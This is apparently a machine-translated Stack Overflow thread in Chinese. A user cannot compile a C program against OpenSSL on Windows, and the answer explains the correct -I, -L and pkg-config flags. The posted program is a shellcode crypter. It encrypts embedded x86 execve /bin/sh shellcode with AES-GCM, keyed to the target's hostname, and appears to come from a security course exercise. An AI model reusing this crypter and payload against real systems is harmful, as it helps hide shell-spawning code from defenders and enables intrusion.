好了,大家先来个光环。我在编译我的c程序时遇到了一个问题,我在windows上使用的是gcc,我下载了openssl,我把它的路径放在了我的电脑里,代码是:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <C:\OpenSSL-Win64\include\openssl\rand.h>
#include <C:\OpenSSL-Win64\include\openssl\evp.h>
void handleErrors()
{
printf("Some error occured\n");
}
int encrypt(unsigned char *shellcode, int shellcode_len,
unsigned char *key, unsigned char *iv,
unsigned char *ciphertext, unsigned char *tag)
{
EVP_CIPHER_CTX *ctx;
int len=0, ciphertext_len=0;
/* Create and initialize the encryption envelop context */
if(!(ctx = EVP_CIPHER_CTX_new()))
handleErrors();
/* Initialize the AES-256-GCM encryption operation. */
if(1 != EVP_EncryptInit_ex(ctx, EVP_aes_256_gcm(), NULL, NULL, NULL))
handleErrors();
/* Set IV length if default 12 bytes (96 bits) is not appropriate */
if(1 != EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_SET_IVLEN, 16, NULL))
handleErrors();
/* Initialize our encryption key and IV */
if(1 != EVP_EncryptInit_ex(ctx, NULL, NULL, key, iv)) handleErrors();
/* Provide the message to be encrypted, and obtain the encrypted output.
* EVP_EncryptUpdate can be called multiple times if necessary
*/
/* encrypt in block lengths of 16 bytes */
while(ciphertext_len<=shellcode_len-16)
{
if(1 != EVP_EncryptUpdate(ctx, ciphertext+ciphertext_len, &len, shellcode+ciphertext_len, 16))
handleErrors();
ciphertext_len+=len;
}
if(1 != EVP_EncryptUpdate(ctx, ciphertext+ciphertext_len, &len, shellcode+ciphertext_len, shellcode_len-ciphertext_len))
handleErrors();
ciphertext_len+=len;
/* Finalize the encryption. Normally ciphertext bytes may be written at
* this stage, but this does not occur in GCM mode
*/
if(1 != EVP_EncryptFinal_ex(ctx, ciphertext + ciphertext_len, &len)) handleErrors();
ciphertext_len += len;
/* Get the tag */
if(1 != EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_GET_TAG, 16, tag))
handleErrors();
/* Clean up */
EVP_CIPHER_CTX_free(ctx);
return ciphertext_len;
}
int main (int argc, char **argv)
{
// Change the shellcode for your purposes. Below is a stack-based execve shellcode from earlier exercises.
// Be careful with null bytes, they may terminate your shellcode early!
unsigned char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
// Do not change below this line!!
unsigned char key[32],ciphertext[1024+EVP_MAX_BLOCK_LENGTH],tag[16];
unsigned char iv[16];
int k;
int counter;
printf("Enter the hostname where shellcode will execute: ");
scanf("%s", key);
printf("Key:\n%s\n\n", key);
/* generate encryption key from the hostname we want to attack */
if(!PKCS5_PBKDF2_HMAC_SHA1(key, strlen(key),NULL,0,1000,32,key))
{
printf("Error in key generation\n");
exit(1);
}
/* generate random IV */
while(!RAND_bytes(iv,sizeof(iv)));
/* encrypt the text */
k = encrypt(shellcode, strlen(shellcode), key, iv, ciphertext, tag);
/* print the IV to be used in the decrypter */
printf("unsigned char iv[] = \"");
for (counter=0; counter < sizeof(iv); counter++) {
printf("\\x%02x", iv[counter]);
}
printf("\";\n");
/* print the encrypted shellcode to be used in the decrypter */
printf("unsigned char encrypted_shellcode[] = \"");
for (counter=0; counter < k; counter++) {
printf("\\x%02x", ciphertext[counter]);
}
printf("\";\n");
/* print the encrypted shellcode length to be used in the decrypter */
printf("int encrypted_shellcode_len = %d;\n", k);
/* print the GCM tag (aka the message authentication code) to be used in the decrypter */
printf("unsigned char tag[] = \"");
for (counter=0; counter < sizeof(tag); counter++) {
printf("\\x%02x", tag[counter]);
}
printf("\";\n");
return 0;
}我尝试了所有的方法,我使用""而不是<>,我尝试包括openssl/xxxx.h,我做了所有的事情…
我从https://slproweb.com/products/Win32OpenSSL.html下载了openssl,我有windows10的错误:
gcc -o aes_openssl aes_openssl.c -I C:\OpenSSL-Win64\include\openssl\ -lcrypto -lssl
In file included from aes_openssl.c:13:0:
C:\OpenSSL-Win64\include\openssl\rand.h:14:31: fatal error: openssl/ossl_typ.h: No such file or directory
# include <openssl/ossl_typ.h>
^
compilation terminated.如你所见,这个错误来自另一个.h文件,我没有把它包含在我的代码中,但它显然包含在我使用的.h文件中,如果我转到include/openssl中的每个.h文件并像这样修改它,这个问题可能会得到解决:#include <C:\OpenSSL-Win64\include\openssl\xxxx.h>
感谢你的帮助
发布于 2021-01-08 16:23:19
切勿将绝对路径放在#include行中,只有相对路径添加了-I编译器标志。
在您的示例中,您使用-I C:\OpenSSL-Win64\include\openssl\,并得到错误openssl/ossl_typ.h can't be found。这是因为C:\OpenSSL-Win64\include\openssl\openssl\ossl_typ.h不存在,但C:\OpenSSL-Win64\include\openssl\ossl_typ.h存在。此外,尾部(反)斜杠也不是必需的。所以你应该使用-I C:\OpenSSL-Win64\include
显然,您需要在系统上拥有包含头文件和库文件(如果使用共享库,则还包括DLL)的实际包,然后使用-I编译器标志来指向include文件夹,使用-L链接器标志来指向lib文件夹,以及任何-l标志来链接到所需的库。
许多库都附带了pkgconfig文件来获取此信息。
对于openssl,使用以下命令,下面的pkg-config命令将显示所需的标志。在我的例子中,我在openssl shell中使用环境变量PKG_CONFIG_PATH运行,其中包含来自MSYS2的lib/pkgconfig的绝对路径:
$ pkg-config --cflags openssl
-ID:/Prog/winlibs64-9.2.0/custombuilt/include
$ pkg-config --libs openssl
-LD:/Prog/winlibs64-9.2.0/custombuilt/lib -lssl -lcrypto
$ pkg-config --static --libs openssl
-LD:/Prog/winlibs64-9.2.0/custombuilt/lib -lssl -lcrypto -lws2_32 -lgdi32 -lcrypt32https://stackoverflow.com/questions/65357781
复制相似问题